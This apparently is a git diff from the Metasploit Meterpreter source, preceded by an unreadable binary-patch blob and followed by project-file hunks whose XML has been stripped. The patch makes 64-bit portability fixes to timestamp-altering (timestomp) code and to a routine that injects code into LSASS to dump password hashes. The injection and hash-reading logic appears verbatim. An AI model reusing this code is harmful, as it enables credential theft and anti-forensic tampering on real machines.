zsQ<6>JN&W6mwkqRDZCFDyxnL0YvJ8u@D6yCyR<_bGy)bgeg&Yx1#W)QVKXJ>k3;8CxtkG|h zuEZ7S!bl!WG0Kl=#u{LZ_#bcl&jgCwW88=Xm7B@ek~q_i{|p0}2vzzQ10`>nMkLQg z7&j(>VdqtZPYQo2hu~9>5u8^Vcnwg>62{2)28^V09p+Tb&BlEzQ1H70Bl&H_NVtbE zg5MsDe191u-!mbK&?ibWDZl&zGj+R{u=4YLsog?5`DGfn;3Pl$3;kVimS2f+N7KtR zZoxr*_UAgh&{%#g#ywCwt#!sNbu7PG#ywO!tsLV%#<&mvO{d3}h5EG^x6oF8HyHPE z+G#B{?h(eFZrpC;KJb}N?|9>GJ*?d)7@f7TE;0J#(Rjw~a6~Vu4e*}e%bMn4p%ax^qVDolu#w!|6F|c1U=rA87TP5n2Cyv^<9jN zcR$0heQNE;uq}a<4c#)#RLmkN48Lf+v$4zEw*>Q3%!8O0Fn`6Q6ZQ;DF{Uam9-m@A zNk@M5(TOGYaQ({2q<>e;t;z==uAf1^;X5nSRut&ewg^-+wJ$|6QpcT^U|uaCBwt z|1J#w>+?Bk6EIxmQJaAKzaF>$fgJwDn?z2&p1&OlNouKf2NPY{HOsC!-jMRHH?`%~ zJ2hN+ORHLv&v>X@&Gf8oFzt)E%e=oLEVgNeHQTym)Ru1P&& z{CCY;fr1|EwjOx=Pk$FW{5@K1@EsZd`yJXpzn6wBy)|@yN5gtk?r7RkceGtn{c2qq zP3HkqUs3X;r|5K24RjiqWT0i>7kzZN!v=O3XdBpS;64Le41CbQW&`gqaD#z28F+(% z>kV9I;93J$8`xlAy@AUOTxwvzz%m0%4JF|kx zwt@Q$Y%#D80<&nH2(6>_H7ZJY1K0U z*ow)-F7P{9gimv*ecRuBi?d4jv)^e=8EILYv6lef!0eLn!07oYf$K0I;4knV%mIlD z`~o9q&#coqr-2cB3GjyuE~%V-S_kYL%{YfW{#;Z1d8zobQgS|O?O5axgcrCTb18O# zw_=L03w#AL0ek#8rTBA9@#mc6EYyxOk#!SZ;G38O*ad!o*@a!;ac4mX?CkAX^S+I) zJG5fI%sPk>x{31p4=`fC8JIC1o(?;E$<|2-SmtBT0p=s531SyG>Rj3Y_5z0|#=1H1~8l;N=Ifq4boEsKBlWX?SnBD2Ci z3wSF=(!2wBMGE}?e59eVdyy$MR2G z&$v|EbAT%`+X&MDOqdOw!66CQHjj3K|0lqq3!o?VVZd84P8aC|uf0O2!@Y*qLm0tf zGjPa4?VkxOFm@mCW{iZ{0NiQpyMRBhV*iOWZvsAtISu;_i!AG`TG~1GTwq6#Hili` zbxSO3IrjCyy_ogb_W?yP_#k$HyRT%N!7i}x_vuH2sB7T)#$E)B82dfTkp*IeK9%)c zVvP|z*8#qma)GputC#S;0u^pgxL?g zc$Kza3Vat6z+d2Vs~J}%4Dh^0oo_y{W{swQ0C?V7{0Wl}JgdpF{(wCf`2Mx@ZR{Ta zvwo!G3cS?V%YdV<)A-~7i!oB(5@6!>^a0A~26{2s*wcT^`UjJPy%hKcrUZK{uwuPV zXF0I)Cm8$%He-ZV0^i37O+EmA^i#%D{67Kq{h7`;6*v(i;l03lnBCat0~;`c+x@`f ze?htMp8)(GX4n9S6$H+|iFSfr;76EJ?4JOi`lYt-2A*@Xw&w%aVWd6W06hH`oo^0s z-Uj?79pH|QjK$b@0Y7V|A7TFjIPF)uEG59-VyX zyO(~1UEpJw^_=GrIQD+#2<+p4+#zaBz%H;9BV`x3=Re4o@hbgy;E54>&Ii7Z2@<{) zc+w`FW;U?K*aN`&&6af&VFa$n2+jh%4>OhI9w>n#p(PIRMOMzcvyx6TR z;DRZ_E->dw9Y)|wm`Vw=mHf9+2J8Yac#1t{?4`i>F}tyU0K9NFeF6I{;9Hnn&X~Ll z+_Q&ynR#R%Fmo?;gk9jh81Y}dk9~yaH2#BtYcPZGUkkkDdCG`=1Mq|wX>-`KfTb8I zi@@10(O&T{1J=9@p4gWHuQ)(|z+MI1h!Ng~J7KMNFjBwo0>AwV^Dkj?fselit*|@) zz}Wk`rui`70gUt!fgNwq7YHNpls9#KWdjr5rEHWp3D|^@vabW)`A2PU2F_}Om&0G+ zuJ@V8u?zfmyRNTX;HVGaL-4N$?!j!PuH`(joCnS&Ux9LVw~DqQP|m!HU7(y<9mkj{ zP|l2szrYp7z6yA=vCA1sIR`0W1j-plu?zgj*agb@L&;a5ob!_~0_B{Y_zRS?bmA{i z&c%scpqzOVyTFHxUCzD9*)#DMC}+IHE>O-xNtyyrFm~&I)31XzLV0|*m)t(<_Q35+ zZ*RTVz88-i#uO>%hV%`Y8+L8jx1s*l)wkx}mVaBvZHI4bzWx5&oA26u*RHz`+-2W& z_%7$h%#GO_b2s`n&e}MC~79(&S}nX-f&Oz zJ+1fI_jTNN_&(Clhfh%XI8{#W4cQyY?kKy{zSDVE_FcZa=HJzPR}1;SVEp<E@V|iq{||vfGt2-0 literal 0 HcmV?d00001 diff --git a/external/source/meterpreter/source/extensions/priv/server/fs.c b/external/source/meterpreter/source/extensions/priv/server/fs.c index 91ff39c465..7e138c9811 100644 --- a/external/source/meterpreter/source/extensions/priv/server/fs.c +++ b/external/source/meterpreter/source/extensions/priv/server/fs.c @@ -70,7 +70,7 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) SystemTimeToEpochTime(<, &epoch); - packet_add_tlv_uint(response, fields[x].tlv, epoch); + packet_add_tlv_uint(response, fields[x].tlv, (UINT)epoch); } SetLastError(ERROR_SUCCESS); @@ -120,7 +120,7 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++) { SYSTEMTIME st; - unsigned long epoch = packet_get_tlv_value_uint(packet, fields[x].tlv); + time_t epoch = packet_get_tlv_value_uint(packet, fields[x].tlv); if (!epoch) continue; diff --git a/external/source/meterpreter/source/extensions/priv/server/passwd.c b/external/source/meterpreter/source/extensions/priv/server/passwd.c index 47413fa268..4c48aaa791 100644 --- a/external/source/meterpreter/source/extensions/priv/server/passwd.c +++ b/external/source/meterpreter/source/extensions/priv/server/passwd.c @@ -384,7 +384,11 @@ cleanup: return dwError; } +#ifdef _WIN64 +#define sizer setArgs +#else void sizer() { __asm { ret } } +#endif /* initialize the context structure - returns 0 on success, return 1 on error */ int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) { @@ -463,7 +467,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL; LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL; int FunctionSize; - DWORD dwBytesWritten = 0, dwThreadId = 0, dwBytesRead = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0; + SIZE_T sBytesWritten = 0, sBytesRead = 0; + DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0; FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments; USERNAMEHASH *UsernameHashResults = NULL; PVOID UsernameAddress = NULL; @@ -516,18 +521,18 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults if (pvParameterMemory == NULL) { dwError = 1; break; } /* write context structure into remote process */ - if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &dwBytesWritten) == 0) { dwError = 1; break; } - if (dwBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; } - dwBytesWritten = 0; + if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; } + if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; } + sBytesWritten = 0; /* allocate memory for the function */ pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pvFunctionMemory == NULL) { dwError = 1; break; } /* write the function into the remote process */ - if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &dwBytesWritten) == 0) { dwError = 1; break; } - if (dwBytesWritten != FunctionSize) { dwError = 1; break; } - dwBytesWritten = 0; + if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; } + if (sBytesWritten != FunctionSize) { dwError = 1; break; } + sBytesWritten = 0; /* start the remote thread */ if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; } @@ -540,9 +545,9 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults } /* read results of the injected function */ - if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &dwBytesRead) == 0) { dwError = 1; break; } - if (dwBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; } - dwBytesRead = 0; + if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; } + if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; } + sBytesRead = 0; /* allocate space for the results */ UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize); @@ -552,9 +557,9 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH); /* copy the context structure */ - if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &dwBytesRead) == 0) { break; } - if (dwBytesRead != FinalFunctionArguments.dwDataSize) { break; } - dwBytesRead = 0; + if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; } + if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; } + sBytesRead = 0; // save the old mem addy, malloc new space, copy over the data, free the old mem addy for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) { @@ -563,8 +568,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length); if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; } - if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &dwBytesRead) == 0) { dwError = 1; break; } - if (dwBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; } + if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; } + if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; } } /* signal that all data has been read and wait for the remote memory to be free'd */ diff --git a/external/source/meterpreter/workspace/ext_server_priv/ext_server_priv.vcproj b/external/source/meterpreter/workspace/ext_server_priv/ext_server_priv.vcproj index 8fcc038032..48b0d4ad25 100644 --- a/external/source/meterpreter/workspace/ext_server_priv/ext_server_priv.vcproj +++ b/external/source/meterpreter/workspace/ext_server_priv/ext_server_priv.vcproj @@ -115,7 +115,107 @@ /> + + + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - - -